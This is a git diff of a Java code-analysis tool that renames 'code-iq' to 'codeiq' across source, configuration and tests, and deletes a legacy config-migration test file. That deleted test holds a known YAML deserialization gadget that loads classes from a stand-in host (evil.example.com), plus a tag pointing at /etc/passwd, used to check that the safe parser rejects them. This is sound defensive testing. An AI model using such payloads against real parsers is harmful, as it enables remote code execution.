diff --git a/src/main/java/io/github/randomcodespace/iq/intelligence/provenance/ArtifactMetadataProvider.java b/src/main/java/io/github/randomcodespace/iq/intelligence/provenance/ArtifactMetadataProvider.java
index 7f4c5848..db708ce3 100644
--- a/src/main/java/io/github/randomcodespace/iq/intelligence/provenance/ArtifactMetadataProvider.java
+++ b/src/main/java/io/github/randomcodespace/iq/intelligence/provenance/ArtifactMetadataProvider.java
@@ -30,7 +30,7 @@ public ArtifactMetadataProvider(Path root, GraphStore graphStore) {
         this.repositoryIdentity = identity.repoUrl() != null ? identity.repoUrl() : root.toAbsolutePath().normalize().toString();
         this.commitSha = identity.commitSha();
         this.buildTimestamp = identity.buildTimestamp();
-        this.extractorVersions = Map.of("code-iq", "phase-4");
+        this.extractorVersions = Map.of("codeiq", "phase-4");
         this.languageCapabilities = buildLanguageCapabilities();
         this.graphStore = graphStore;
     }
diff --git a/src/main/java/io/github/randomcodespace/iq/mcp/McpTools.java b/src/main/java/io/github/randomcodespace/iq/mcp/McpTools.java
index 2a5b2ac9..6acfe81b 100644
--- a/src/main/java/io/github/randomcodespace/iq/mcp/McpTools.java
+++ b/src/main/java/io/github/randomcodespace/iq/mcp/McpTools.java
@@ -85,7 +85,7 @@ private CacheData getCachedData() {
                 .flatMap(n -> n.getEdges().stream())
                 .toList();
         if (nodes.isEmpty()) {
-            throw new RuntimeException("No analysis data available. Run 'code-iq analyze' first.");
+            throw new RuntimeException("No analysis data available. Run 'codeiq analyze' first.");
         }
         return new CacheData(nodes, edges);
     }
@@ -249,7 +249,7 @@ public String generateFlow(
         try {
             FlowEngine engine = resolveFlowEngine();
             if (engine == null) {
-                return toJson(Map.of(PROP_ERROR, "No analysis data available. Run 'code-iq analyze' first."));
+                return toJson(Map.of(PROP_ERROR, "No analysis data available. Run 'codeiq analyze' first."));
             }
             FlowDiagram diagram = engine.generate(viewName);
             String rendered = engine.render(diagram, fmt);
@@ -263,7 +263,7 @@ public String generateFlow(
 
     // analyze_codebase removed — MCP server runs on remote hosts where
     // source code is not available (only the bundled graph). Analysis is
-    // done locally via CLI: code-iq analyze / code-iq index
+    // done locally via CLI: codeiq analyze / codeiq index
 
     @McpTool(name = "run_cypher", description = "Execute a custom read-only Cypher query directly against the Neo4j graph. Use for advanced queries not covered by other tools. CALL db.* procedures are allowed (fulltext search, schema inspection). Mutation queries are blocked. Returns rows as JSON array.")
     public String runCypher(
diff --git a/src/main/resources/application.yml b/src/main/resources/application.yml
index b6d9b822..f4e887a9 100644
--- a/src/main/resources/application.yml
+++ b/src/main/resources/application.yml
@@ -1,6 +1,6 @@
 spring:
   application:
-    name: code-iq
+    name: codeiq
   main:
     banner-mode: off
     allow-bean-definition-overriding: false
@@ -35,7 +35,7 @@ codeiq:
     enabled: true
 
 spring.ai.mcp.server:
-  name: code-iq
+  name: codeiq
   version: 0.1.0
   protocol: STREAMABLE
   streamable-http:
diff --git a/src/test/java/io/github/randomcodespace/iq/analyzer/BatchedStreamingTest.java b/src/test/java/io/github/randomcodespace/iq/analyzer/BatchedStreamingTest.java
index ba9c55b0..f14f166f 100644
--- a/src/test/java/io/github/randomcodespace/iq/analyzer/BatchedStreamingTest.java
+++ b/src/test/java/io/github/randomcodespace/iq/analyzer/BatchedStreamingTest.java
@@ -88,7 +88,7 @@ void batchedIndexWritesToH2() throws IOException {
         assertEquals(0, result.edgeCount());
 
         // Verify H2 has data
-        Path cachePath = tempDir.resolve(".code-iq/cache").resolve("analysis-cache.db");
+        Path cachePath = tempDir.resolve(".codeiq/cache").resolve("analysis-cache.db");
         try (var cache = new AnalysisCache(cachePath)) {
             long nodeCount = cache.getNodeCount();
             assertEquals(10, nodeCount, "H2 should have 10 nodes");
diff --git a/src/test/java/io/github/randomcodespace/iq/analyzer/FileDiscoveryTest.java b/src/test/java/io/github/randomcodespace/iq/analyzer/FileDiscoveryTest.java
index fd945fab..22eb9504 100644
--- a/src/test/java/io/github/randomcodespace/iq/analyzer/FileDiscoveryTest.java
+++ b/src/test/java/io/github/randomcodespace/iq/analyzer/FileDiscoveryTest.java
@@ -215,10 +215,10 @@ void skipsOversizedConfigFiles() throws IOException {
 
     @Test
     void excludesCodeIqOwnDirs() throws IOException {
-        Path codeIqDir = tempDir.resolve(".code-iq");
+        Path codeIqDir = tempDir.resolve(".codeiq");
         Files.createDirectories(codeIqDir);
         Files.writeString(codeIqDir.resolve("cache.java"), "class Cache {}");
-        Path codeIqCacheDir = tempDir.resolve(".code-iq/cache");
+        Path codeIqCacheDir = tempDir.resolve(".codeiq/cache");
         Files.createDirectories(codeIqCacheDir);
         Files.writeString(codeIqCacheDir.resolve("meta.java"), "class Meta {}");
         Files.writeString(tempDir.resolve("src.java"), "class Src {}");
diff --git a/src/test/java/io/github/randomcodespace/iq/api/IntelligenceControllerTest.java b/src/test/java/io/github/randomcodespace/iq/api/IntelligenceControllerTest.java
index 00ae8544..668fe819 100644
--- a/src/test/java/io/github/randomcodespace/iq/api/IntelligenceControllerTest.java
+++ b/src/test/java/io/github/randomcodespace/iq/api/IntelligenceControllerTest.java
@@ -36,7 +36,7 @@ void setUp() {
         assembler = Mockito.mock(EvidencePackAssembler.class);
         metadata = new ArtifactMetadata(
                 "https://github.com/example/repo", "abc123", Instant.now(),
-                "1", "2", Map.of("code-iq", "1.0"),
+                "1", "2", Map.of("codeiq", "1.0"),
                 Map.of(), "deadbeef");
         metadataProvider = Mockito.mock(ArtifactMetadataProvider.class);
         when(metadataProvider.current()).thenReturn(metadata);
diff --git a/src/test/java/io/github/randomcodespace/iq/cli/BundleCommandExtendedTest.java b/src/test/java/io/github/randomcodespace/iq/cli/BundleCommandExtendedTest.java
index 65bbd2dc..16079b66 100644
--- a/src/test/java/io/github/randomcodespace/iq/cli/BundleCommandExtendedTest.java
+++ b/src/test/java/io/github/randomcodespace/iq/cli/BundleCommandExtendedTest.java
@@ -57,7 +57,7 @@ void tearDown() {
     }
 
     private Path createFakeGraphDb(Path tempDir) throws IOException {
-        Path graphDb = tempDir.resolve(".code-iq/graph/graph.db");
+        Path graphDb = tempDir.resolve(".codeiq/graph/graph.db");
         Files.createDirectories(graphDb);
         Files.writeString(graphDb.resolve("neostore"), "neo4j-data", StandardCharsets.UTF_8);
         return graphDb;
@@ -157,7 +157,7 @@ void bundleWithIncludeJarWhenJarNotFoundStillSucceeds(@TempDir Path tempDir) thr
 
     @Test
     void bundleSkipsPidFilesFromGraphDb(@TempDir Path tempDir) throws IOException {
-        Path graphDb = tempDir.resolve(".code-iq/graph/graph.db");
+        Path graphDb = tempDir.resolve(".codeiq/graph/graph.db");
         Files.createDirectories(graphDb);
         Files.writeString(graphDb.resolve("neostore"), "data", StandardCharsets.UTF_8);
         Files.writeString(graphDb.resolve("neo4j.pid"), "12345", StandardCharsets.UTF_8);
@@ -244,11 +244,11 @@ void bundleWithH2CacheReportsStats(@TempDir Path tempDir) throws IOException {
         createFakeGraphDb(tempDir);
 
         // Create a minimal H2 cache directory (no .mv.db file – no stats but no error)
-        Path cacheDir = tempDir.resolve(".code-iq/cache");
+        Path cacheDir = tempDir.resolve(".codeiq/cache");
         Files.createDirectories(cacheDir);
 
         var config = new CodeIqConfig();
-        CodeIqConfigTestSupport.override(config).cacheDir(".code-iq/cache").done();
+        CodeIqConfigTestSupport.override(config).cacheDir(".codeiq/cache").done();
         Path zipPath = tempDir.resolve("out.zip");
         var cmd = new BundleCommand(config, java.util.Optional.empty(), java.util.Optional.empty());
         var cmdLine = new picocli.CommandLine(cmd);
diff --git a/src/test/java/io/github/randomcodespace/iq/cli/BundleCommandTest.java b/src/test/java/io/github/randomcodespace/iq/cli/BundleCommandTest.java
index 7bd7a50d..b6a16287 100644
--- a/src/test/java/io/github/randomcodespace/iq/cli/BundleCommandTest.java
+++ b/src/test/java/io/github/randomcodespace/iq/cli/BundleCommandTest.java
@@ -48,7 +48,7 @@ void tearDown() {
     }
 
     private void createFakeGraphDb(Path tempDir) throws IOException {
-        Path graphDb = tempDir.resolve(".code-iq/graph/graph.db");
+        Path graphDb = tempDir.resolve(".codeiq/graph/graph.db");
         Files.createDirectories(graphDb);
         Files.writeString(graphDb.resolve("neostore"), "neo4j-data", StandardCharsets.UTF_8);
     }
@@ -71,7 +71,7 @@ void bundleCreatesZipWithCorrectStructure(@TempDir Path tempDir) throws IOExcept
         Files.writeString(tempDir.resolve("App.java"), "class App {}", StandardCharsets.UTF_8);
 
         var config = new CodeIqConfig();
-        CodeIqConfigTestSupport.override(config).cacheDir(".code-iq/cache").done();
+        CodeIqConfigTestSupport.override(config).cacheDir(".codeiq/cache").done();
 
         when(flowEngine.renderInteractive(anyString())).thenReturn("<html>flow</html>");
 
@@ -159,7 +159,7 @@ void bundleHandlesFlowGenerationFailure(@TempDir Path tempDir) throws IOExceptio
 
     @Test
     void bundleSkipsNeo4jLockFiles(@TempDir Path tempDir) throws IOException {
-        Path graphDb = tempDir.resolve(".code-iq/graph/graph.db");
+        Path graphDb = tempDir.resolve(".codeiq/graph/graph.db");
         Files.createDirectories(graphDb);
         Files.writeString(graphDb.resolve("neostore"), "data", StandardCharsets.UTF_8);
         Files.writeString(graphDb.resolve("store_lock"), "locked", StandardCharsets.UTF_8);
@@ -182,12 +182,12 @@ void bundleSkipsNeo4jLockFiles(@TempDir Path tempDir) throws IOException {
     void bundleIncludesH2Cache(@TempDir Path tempDir) throws IOException {
         createFakeGraphDb(tempDir);
 
-        Path cacheDir = tempDir.resolve(".code-iq/cache");
+        Path cacheDir = tempDir.resolve(".codeiq/cache");
         Files.createDirectories(cacheDir);
         Files.writeString(cacheDir.resolve("analysis-cache.db"), "h2-data", StandardCharsets.UTF_8);
 
         var config = new CodeIqConfig();
-        CodeIqConfigTestSupport.override(config).cacheDir(".code-iq/cache").done();
+        CodeIqConfigTestSupport.override(config).cacheDir(".codeiq/cache").done();
 
         Path zipPath = tempDir.resolve("test-bundle.zip");
         var cmd = new BundleCommand(config, (GraphStore) null, (FlowEngine) null);
diff --git a/src/test/java/io/github/randomcodespace/iq/cli/CacheCommandTest.java b/src/test/java/io/github/randomcodespace/iq/cli/CacheCommandTest.java
index 77856b92..fb7581c4 100644
--- a/src/test/java/io/github/randomcodespace/iq/cli/CacheCommandTest.java
+++ b/src/test/java/io/github/randomcodespace/iq/cli/CacheCommandTest.java
@@ -37,7 +37,7 @@ void tearDown() {
     @Test
     void statsShowsNoCacheWhenMissing(@TempDir Path tempDir) {
         var config = new CodeIqConfig();
-        CodeIqConfigTestSupport.override(config).cacheDir(".code-iq/cache").done();
+        CodeIqConfigTestSupport.override(config).cacheDir(".codeiq/cache").done();
         var cmd = new CacheCommand.StatsSubcommand(config);
 
         var cmdLine = new picocli.CommandLine(cmd);
@@ -51,13 +51,13 @@ void statsShowsNoCacheWhenMissing(@TempDir Path tempDir) {
     @Test
     void statsShowsCacheInfo(@TempDir Path tempDir) throws IOException {
         // Create a fake cache directory with a file
-        Path cacheDir = tempDir.resolve(".code-iq/cache");
+        Path cacheDir = tempDir.resolve(".codeiq/cache");
         Files.createDirectories(cacheDir);
         Files.writeString(cacheDir.resolve("test.txt"), "hello world",
                 StandardCharsets.UTF_8);
 
         var config = new CodeIqConfig();
-        CodeIqConfigTestSupport.override(config).cacheDir(".code-iq/cache").done();
+        CodeIqConfigTestSupport.override(config).cacheDir(".codeiq/cache").done();
         var cmd = new CacheCommand.StatsSubcommand(config);
 
         var cmdLine = new picocli.CommandLine(cmd);
@@ -71,13 +71,13 @@ void statsShowsCacheInfo(@TempDir Path tempDir) throws IOException {
 
     @Test
     void clearRemovesCache(@TempDir Path tempDir) throws IOException {
-        Path cacheDir = tempDir.resolve(".code-iq/cache");
+        Path cacheDir = tempDir.resolve(".codeiq/cache");
         Files.createDirectories(cacheDir);
         Files.writeString(cacheDir.resolve("data.bin"), "data",
                 StandardCharsets.UTF_8);
 
         var config = new CodeIqConfig();
-        CodeIqConfigTestSupport.override(config).cacheDir(".code-iq/cache").done();
+        CodeIqConfigTestSupport.override(config).cacheDir(".codeiq/cache").done();
         var cmd = new CacheCommand.ClearSubcommand(config);
 
         var cmdLine = new picocli.CommandLine(cmd);
@@ -90,7 +90,7 @@ void clearRemovesCache(@TempDir Path tempDir) throws IOException {
     @Test
     void clearHandlesNoCacheGracefully(@TempDir Path tempDir) {
         var config = new CodeIqConfig();
-        CodeIqConfigTestSupport.override(config).cacheDir(".code-iq/cache").done();
+        CodeIqConfigTestSupport.override(config).cacheDir(".codeiq/cache").done();
         var cmd = new CacheCommand.ClearSubcommand(config);
 
         var cmdLine = new picocli.CommandLine(cmd);
diff --git a/src/test/java/io/github/randomcodespace/iq/cli/CodeIqCliTest.java b/src/test/java/io/github/randomcodespace/iq/cli/CodeIqCliTest.java
index 1206b2ad..132a83cb 100644
--- a/src/test/java/io/github/randomcodespace/iq/cli/CodeIqCliTest.java
+++ b/src/test/java/io/github/randomcodespace/iq/cli/CodeIqCliTest.java
@@ -13,7 +13,7 @@ class CodeIqCliTest {
     void cliHasCorrectName() {
         var cli = new CodeIqCli();
         var cmdLine = new CommandLine(cli);
-        assertEquals("code-iq", cmdLine.getCommandName());
+        assertEquals("codeiq", cmdLine.getCommandName());
     }
 
     @Test
diff --git a/src/test/java/io/github/randomcodespace/iq/cli/EnrichCommandTest.java b/src/test/java/io/github/randomcodespace/iq/cli/EnrichCommandTest.java
index a2573b6e..e5bf824c 100644
--- a/src/test/java/io/github/randomcodespace/iq/cli/EnrichCommandTest.java
+++ b/src/test/java/io/github/randomcodespace/iq/cli/EnrichCommandTest.java
@@ -63,7 +63,7 @@ void enrichFailsWhenNoIndexExists(@TempDir Path tempDir) {
     @Test
     void enrichWithIndexedData(@TempDir Path tempDir) throws Exception {
         // Create H2 index with some test data
-        Path cacheDir = tempDir.resolve(".code-iq/cache");
+        Path cacheDir = tempDir.resolve(".codeiq/cache");
         Files.createDirectories(cacheDir);
         Path cachePath = cacheDir.resolve("analysis-cache.db");
 
@@ -100,7 +100,7 @@ void enrichWithIndexedData(@TempDir Path tempDir) throws Exception {
     @Test
     void enrichClassifiesLayers(@TempDir Path tempDir) throws Exception {
         // Create H2 index with frontend and backend nodes
-        Path cacheDir = tempDir.resolve(".code-iq/cache");
+        Path cacheDir = tempDir.resolve(".codeiq/cache");
         Files.createDirectories(cacheDir);
         Path cachePath = cacheDir.resolve("analysis-cache.db");
 
@@ -131,7 +131,7 @@ void enrichClassifiesLayers(@TempDir Path tempDir) throws Exception {
     @Test
     void enrichedEdgesAreMutableForLanguageEnricher(@TempDir Path tempDir) throws Exception {
         // Create a minimal H2 index so enrich has data to process
-        Path cacheDir = tempDir.resolve(".code-iq/cache");
+        Path cacheDir = tempDir.resolve(".codeiq/cache");
         Files.createDirectories(cacheDir);
         Path cachePath = cacheDir.resolve("analysis-cache.db");
 
diff --git a/src/test/java/io/github/randomcodespace/iq/cli/StatsCommandTest.java b/src/test/java/io/github/randomcodespace/iq/cli/StatsCommandTest.java
index 94c743a4..d2a2d09c 100644
--- a/src/test/java/io/github/randomcodespace/iq/cli/StatsCommandTest.java
+++ b/src/test/java/io/github/randomcodespace/iq/cli/StatsCommandTest.java
@@ -41,7 +41,7 @@ void setUp() {
         System.setErr(new PrintStream(captureErr, true, StandardCharsets.UTF_8));
         statsService = new StatsService();
         config = new CodeIqConfig();
-        CodeIqConfigTestSupport.override(config).cacheDir(".code-iq/cache").done();
+        CodeIqConfigTestSupport.override(config).cacheDir(".codeiq/cache").done();
     }
 
     @AfterEach
@@ -57,7 +57,7 @@ private String allOutput() {
     }
 
     private void populateCache(Path root) {
-        Path cachePath = root.resolve(".code-iq/cache").resolve("analysis-cache.db");
+        Path cachePath = root.resolve(".codeiq/cache").resolve("analysis-cache.db");
         try (AnalysisCache cache = new AnalysisCache(cachePath)) {
             // Create some sample nodes
             var n1 = new CodeNode("n1", NodeKind.CLASS, "UserService");
diff --git a/src/test/java/io/github/randomcodespace/iq/cli/TopologyCommandExtendedTest.java b/src/test/java/io/github/randomcodespace/iq/cli/TopologyCommandExtendedTest.java
index e0066429..1662afbf 100644
--- a/src/test/java/io/github/randomcodespace/iq/cli/TopologyCommandExtendedTest.java
+++ b/src/test/java/io/github/randomcodespace/iq/cli/TopologyCommandExtendedTest.java
@@ -66,7 +66,7 @@ void tearDown() {
      * then use the real AnalysisCache to populate it.
      */
     private Path createRealCache(Path tempDir) throws IOException {
-        Path cacheDir = tempDir.resolve(".code-iq/cache");
+        Path cacheDir = tempDir.resolve(".codeiq/cache");
         Files.createDirectories(cacheDir);
         Path dbPath = cacheDir.resolve("analysis-cache.db");
 
@@ -110,7 +110,7 @@ void prettyPrintsTopologyOverview(@TempDir Path tempDir) throws IOException {
         createRealCache(tempDir);
 
         var config = new CodeIqConfig();
-        CodeIqConfigTestSupport.override(config).cacheDir(".code-iq/cache").done();
+        CodeIqConfigTestSupport.override(config).cacheDir(".codeiq/cache").done();
         var svc = new TopologyService();
         var cmd = new TopologyCommand(config, svc);
         var cmdLine = new picocli.CommandLine(cmd);
@@ -130,7 +130,7 @@ void jsonFormatOutputsValidJson(@TempDir Path tempDir) throws IOException {
         createRealCache(tempDir);
 
         var config = new CodeIqConfig();
-        CodeIqConfigTestSupport.override(config).cacheDir(".code-iq/cache").done();
+        CodeIqConfigTestSupport.override(config).cacheDir(".codeiq/cache").done();
         var svc = new TopologyService();
         var cmd = new TopologyCommand(config, svc);
         var cmdLine = new picocli.CommandLine(cmd);
@@ -149,7 +149,7 @@ void serviceFlagOutputsServiceDetail(@TempDir Path tempDir) throws IOException {
         createRealCache(tempDir);
 
         var config = new CodeIqConfig();
-        CodeIqConfigTestSupport.override(config).cacheDir(".code-iq/cache").done();
+        CodeIqConfigTestSupport.override(config).cacheDir(".codeiq/cache").done();
         var svc = new TopologyService();
         var cmd = new TopologyCommand(config, svc);
         var cmdLine = new picocli.CommandLine(cmd);
@@ -167,7 +167,7 @@ void depsFlagOutputsDependencies(@TempDir Path tempDir) throws IOException {
         createRealCache(tempDir);
 
         var config = new CodeIqConfig();
-        CodeIqConfigTestSupport.override(config).cacheDir(".code-iq/cache").done();
+        CodeIqConfigTestSupport.override(config).cacheDir(".codeiq/cache").done();
         var svc = new TopologyService();
         var cmd = new TopologyCommand(config, svc);
         var cmdLine = new picocli.CommandLine(cmd);
@@ -183,7 +183,7 @@ void blastRadiusFlagOutputsBlastRadius(@TempDir Path tempDir) throws IOException
         createRealCache(tempDir);
 
         var config = new CodeIqConfig();
-        CodeIqConfigTestSupport.override(config).cacheDir(".code-iq/cache").done();
+        CodeIqConfigTestSupport.override(config).cacheDir(".codeiq/cache").done();
         var svc = new TopologyService();
         var cmd = new TopologyCommand(config, svc);
         var cmdLine = new picocli.CommandLine(cmd);
@@ -202,7 +202,7 @@ void serviceFlagWithJsonFormat(@TempDir Path tempDir) throws IOException {
         createRealCache(tempDir);
 
         var config = new CodeIqConfig();
-        CodeIqConfigTestSupport.override(config).cacheDir(".code-iq/cache").done();
+        CodeIqConfigTestSupport.override(config).cacheDir(".codeiq/cache").done();
         var svc = new TopologyService();
         var cmd = new TopologyCommand(config, svc);
         var cmdLine = new picocli.CommandLine(cmd);
@@ -220,7 +220,7 @@ void topologyServiceExceptionReturnsExitCode1(@TempDir Path tempDir) throws IOEx
         createRealCache(tempDir);
 
         var config = new CodeIqConfig();
-        CodeIqConfigTestSupport.override(config).cacheDir(".code-iq/cache").done();
+        CodeIqConfigTestSupport.override(config).cacheDir(".codeiq/cache").done();
         var svc = mock(TopologyService.class);
         when(svc.getTopology(anyList(), anyList()))
                 .thenThrow(new RuntimeException("topology failed"));
@@ -238,7 +238,7 @@ void topologyServiceExceptionReturnsExitCode1(@TempDir Path tempDir) throws IOEx
 
     @Test
     void prettyPrintWithConnections(@TempDir Path tempDir) throws IOException {
-        Path cacheDir = tempDir.resolve(".code-iq/cache");
+        Path cacheDir = tempDir.resolve(".codeiq/cache");
         Files.createDirectories(cacheDir);
         Path dbPath = cacheDir.resolve("analysis-cache.db");
 
@@ -255,7 +255,7 @@ void prettyPrintWithConnections(@TempDir Path tempDir) throws IOException {
         }
 
         var config = new CodeIqConfig();
-        CodeIqConfigTestSupport.override(config).cacheDir(".code-iq/cache").done();
+        CodeIqConfigTestSupport.override(config).cacheDir(".codeiq/cache").done();
         var svc = new TopologyService();
         var cmd = new TopologyCommand(config, svc);
         var cmdLine = new picocli.CommandLine(cmd);
diff --git a/src/test/java/io/github/randomcodespace/iq/config/CodeIqConfigTest.java b/src/test/java/io/github/randomcodespace/iq/config/CodeIqConfigTest.java
index 2964e098..83900622 100644
--- a/src/test/java/io/github/randomcodespace/iq/config/CodeIqConfigTest.java
+++ b/src/test/java/io/github/randomcodespace/iq/config/CodeIqConfigTest.java
@@ -19,7 +19,7 @@ void defaultRootPathIsDot() {
 
     @Test
     void defaultCacheDirIsCodeIntelligence() {
-        assertEquals(".code-iq/cache", new CodeIqConfig().getCacheDir());
+        assertEquals(".codeiq/cache", new CodeIqConfig().getCacheDir());
     }
 
     @Test
@@ -54,7 +54,7 @@ void defaultMaxSnippetLinesIs50() {
 
     @Test
     void defaultGraphPathIsDotOssCodeIq() {
-        assertEquals(".code-iq/graph/graph.db", new CodeIqConfig().getGraph().getPath());
+        assertEquals(".codeiq/graph/graph.db", new CodeIqConfig().getGraph().getPath());
     }
 
     @Test
diff --git a/src/test/java/io/github/randomcodespace/iq/config/ProjectConfigLoaderApplyOverridesTest.java b/src/test/java/io/github/randomcodespace/iq/config/ProjectConfigLoaderApplyOverridesTest.java
deleted file mode 100644
index dc31cd33..00000000
--- a/src/test/java/io/github/randomcodespace/iq/config/ProjectConfigLoaderApplyOverridesTest.java
+++ /dev/null
@@ -1,183 +0,0 @@
-package io.github.randomcodespace.iq.config;
-
-import io.github.randomcodespace.iq.config.unified.CodeIqUnifiedConfig;
-import org.junit.jupiter.api.Test;
-import org.junit.jupiter.api.io.TempDir;
-
-import java.io.IOException;
-import java.nio.charset.StandardCharsets;
-import java.nio.file.Files;
-import java.nio.file.Path;
-
-import static org.junit.jupiter.api.Assertions.*;
-
-/**
- * End-to-end tests for the legacy {@code .osscodeiq.yml} migration path.
- *
- * <p>Post-Phase-B cleanup, there is no public static {@code loadIfPresent} /
- * {@code loadProjectConfig} API on {@link ProjectConfigLoader}. The same
- * behaviour is now exercised through the canonical shim
- * {@link ProjectConfigLoader#loadFrom(Path)}, which returns a
- * {@link CodeIqUnifiedConfig} overlay for the PROJECT layer. Legacy flat
- * keys ({@code cache_dir}, {@code max_depth}, {@code max_radius}) are
- * translated into the unified tree and projected onto the legacy
- * {@link CodeIqConfig} bean via {@link UnifiedConfigAdapter}.
- *
- * <p>The tests here pin the end-to-end behaviour of that migration path so
- * existing {@code .osscodeiq.yml} users continue to get identical outcomes
- * during the deprecation window.
- */
-class ProjectConfigLoaderApplyOverridesTest {
-
-    private static ProjectConfigLoader.LoadResult loadLegacy(Path repo, String yaml) throws IOException {
-        Files.writeString(repo.resolve(".osscodeiq.yml"), yaml, StandardCharsets.UTF_8);
-        return new ProjectConfigLoader().loadFrom(repo);
-    }
-
-    // ---- Legacy flat-key overrides project onto CodeIqConfig via the adapter ----
-
-    @Test
-    void legacyCacheDirFlowsThroughToCodeIqConfig(@TempDir Path tempDir) throws IOException {
-        ProjectConfigLoader.LoadResult r = loadLegacy(tempDir,
-                "cache_dir: my-custom-cache\n");
-        CodeIqConfig adapted = UnifiedConfigAdapter.toCodeIqConfig(r.config());
-        assertEquals("my-custom-cache", adapted.getCacheDir());
-        assertTrue(r.deprecationWarningEmitted(),
-                ".osscodeiq.yml must emit a one-time deprecation WARN");
-    }
-
-    @Test
-    void legacyMaxDepthAndMaxRadiusFlowThroughToCodeIqConfig(@TempDir Path tempDir) throws IOException {
-        ProjectConfigLoader.LoadResult r = loadLegacy(tempDir,
-                "max_depth: 20\nmax_radius: 15\n");
-        CodeIqConfig adapted = UnifiedConfigAdapter.toCodeIqConfig(r.config());
-        assertEquals(20, adapted.getMaxDepth());
-        assertEquals(15, adapted.getMaxRadius());
-    }
-
-    @Test
-    void legacyCombinedFlatKeysAllApply(@TempDir Path tempDir) throws IOException {
-        ProjectConfigLoader.LoadResult r = loadLegacy(tempDir,
-                "cache_dir: override-cache\nmax_depth: 5\nmax_radius: 3\n");
-        CodeIqConfig adapted = UnifiedConfigAdapter.toCodeIqConfig(r.config());
-        assertEquals("override-cache", adapted.getCacheDir());
-        assertEquals(5, adapted.getMaxDepth());
-        assertEquals(3, adapted.getMaxRadius());
-    }
-
-    // ---- Legacy filter sections flow into CodeIqUnifiedConfig ------------------
-
-    @Test
-    void legacyLanguagesSectionPopulatesIndexing(@TempDir Path tempDir) throws IOException {
-        ProjectConfigLoader.LoadResult r = loadLegacy(tempDir,
-                // Include at least one legacy flat key so translateLegacyToUnified is used
-                // (otherwise loadFrom delegates to the canonical UnifiedConfigLoader, which
-                // is also fine but a different code path tested elsewhere).
-                "cache_dir: .cache\nlanguages: [java, python, typescript]\n");
-        CodeIqUnifiedConfig cfg = r.config();
-        assertNotNull(cfg.indexing().languages());
-        assertEquals(3, cfg.indexing().languages().size());
-        assertTrue(cfg.indexing().languages().contains("java"));
-        assertTrue(cfg.indexing().languages().contains("python"));
-    }
-
-    @Test
-    void legacyDetectorsSectionPopulatesDetectors(@TempDir Path tempDir) throws IOException {
-        ProjectConfigLoader.LoadResult r = loadLegacy(tempDir,
-                "cache_dir: .cache\n"
-              + "detectors:\n"
-              + "  categories: [endpoints, entities]\n"
-              + "  include: [spring-rest-detector]\n");
-        CodeIqUnifiedConfig cfg = r.config();
-        assertEquals(java.util.List.of("endpoints", "entities"), cfg.detectors().categories());
-        assertEquals(java.util.List.of("spring-rest-detector"), cfg.detectors().include());
-    }
-
-    @Test
-    void legacyPipelineSectionPopulatesIndexing(@TempDir Path tempDir) throws IOException {
-        ProjectConfigLoader.LoadResult r = loadLegacy(tempDir,
-                "cache_dir: .cache\n"
-              + "pipeline:\n"
-              + "  parallelism: 4\n"
-              + "  batch-size: 100\n");
-        CodeIqUnifiedConfig cfg = r.config();
-        assertEquals(4, cfg.indexing().parallelism());
-        assertEquals(100, cfg.indexing().batchSize());
-    }
-
-    @Test
-    void legacyExcludePatternsPopulateIndexing(@TempDir Path tempDir) throws IOException {
-        ProjectConfigLoader.LoadResult r = loadLegacy(tempDir,
-                "cache_dir: .cache\nexclude:\n  - '*.generated.java'\n  - 'vendor/**'\n");
-        CodeIqUnifiedConfig cfg = r.config();
-        assertEquals(java.util.List.of("*.generated.java", "vendor/**"),
-                cfg.indexing().exclude());
-    }
-
-    @Test
-    void legacyParsersMapFlattensToParsersList(@TempDir Path tempDir) throws IOException {
-        // The legacy `.osscodeiq.yml` shape was `parsers: {lang: parserName}` (a map).
-        // The unified tree carries `indexing.parsers` as List<String>. The translator
-        // flattens the map's values (Analyzer never consumed the per-language map
-        // at runtime — the list is sufficient).
-        ProjectConfigLoader.LoadResult r = loadLegacy(tempDir,
-                "cache_dir: .cache\nparsers:\n  java: javaparser\n  python: antlr\n");
-        CodeIqUnifiedConfig cfg = r.config();
-        assertNotNull(cfg.indexing().parsers());
-        assertTrue(cfg.indexing().parsers().contains("javaparser"),
-                "flattened parser names must include 'javaparser'; got: " + cfg.indexing().parsers());
-        assertTrue(cfg.indexing().parsers().contains("antlr"),
-                "flattened parser names must include 'antlr'; got: " + cfg.indexing().parsers());
-    }
-
-    // ---- Missing-file and empty-repo behaviour ---------------------------------
-
-    @Test
-    void missingConfigFileReturnsEmptyOverlay(@TempDir Path tempDir) {
-        ProjectConfigLoader.LoadResult r = new ProjectConfigLoader().loadFrom(tempDir);
-        assertEquals(CodeIqUnifiedConfig.empty(), r.config());
-        assertFalse(r.deprecationWarningEmitted(),
-                "no .osscodeiq.yml means no deprecation warning");
-    }
-
-    // ---- SafeConstructor / unsafe YAML tag safety -----------------------------
-
-    @Test
-    void unsafeYamlTagDoesNotExecuteArbitraryCode(@TempDir Path tempDir) throws IOException {
-        // Unsafe YAML tag that could trigger arbitrary class instantiation under a
-        // non-Safe constructor. UnifiedConfigLoader uses SafeConstructor, so parsing
-        // either rejects the document or returns a safe representation. Either way,
-        // no arbitrary code runs.
-        String yaml = "!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL [\"http://evil.example.com\"]]]]\n";
-        Files.writeString(tempDir.resolve(".osscodeiq.yml"), yaml, StandardCharsets.UTF_8);
-
-        // Must not throw an unchecked exception that escapes; must not execute the tag.
-        assertDoesNotThrow(() -> {
-            try {
-                new ProjectConfigLoader().loadFrom(tempDir);
-            } catch (io.github.randomcodespace.iq.config.unified.ConfigLoadException e) {
-                // Expected: SafeConstructor rejects the unsafe tag with a typed exception.
-                // That's the correct safe outcome; the test's invariant is "no code executed".
-            }
-        });
-    }
-
-    @Test
-    void yamlWithMixedSafeAndUnsafeContentDoesNotExecuteCode(@TempDir Path tempDir) throws IOException {
-        String yaml = """
-                cache_dir: legit-cache
-                exploit: !!java.io.File ["/etc/passwd"]
-                """;
-        Files.writeString(tempDir.resolve(".osscodeiq.yml"), yaml, StandardCharsets.UTF_8);
-
-        // Either the parser rejects the unsafe tag (ConfigLoadException) or it safely
-        // ignores it — in both cases no arbitrary code runs. The key invariant is safety.
-        assertDoesNotThrow(() -> {
-            try {
-                new ProjectConfigLoader().loadFrom(tempDir);
-            } catch (io.github.randomcodespace.iq.config.unified.ConfigLoadException e) {
-                // Safe rejection — acceptable outcome.
-            }
-        });
-    }
-}
diff --git a/src/test/java/io/github/randomcodespace/iq/config/ProjectConfigLoaderTest.java b/src/test/java/io/github/randomcodespace/iq/config/ProjectConfigLoaderTest.java
index 38608435..e43d2d2a 100644
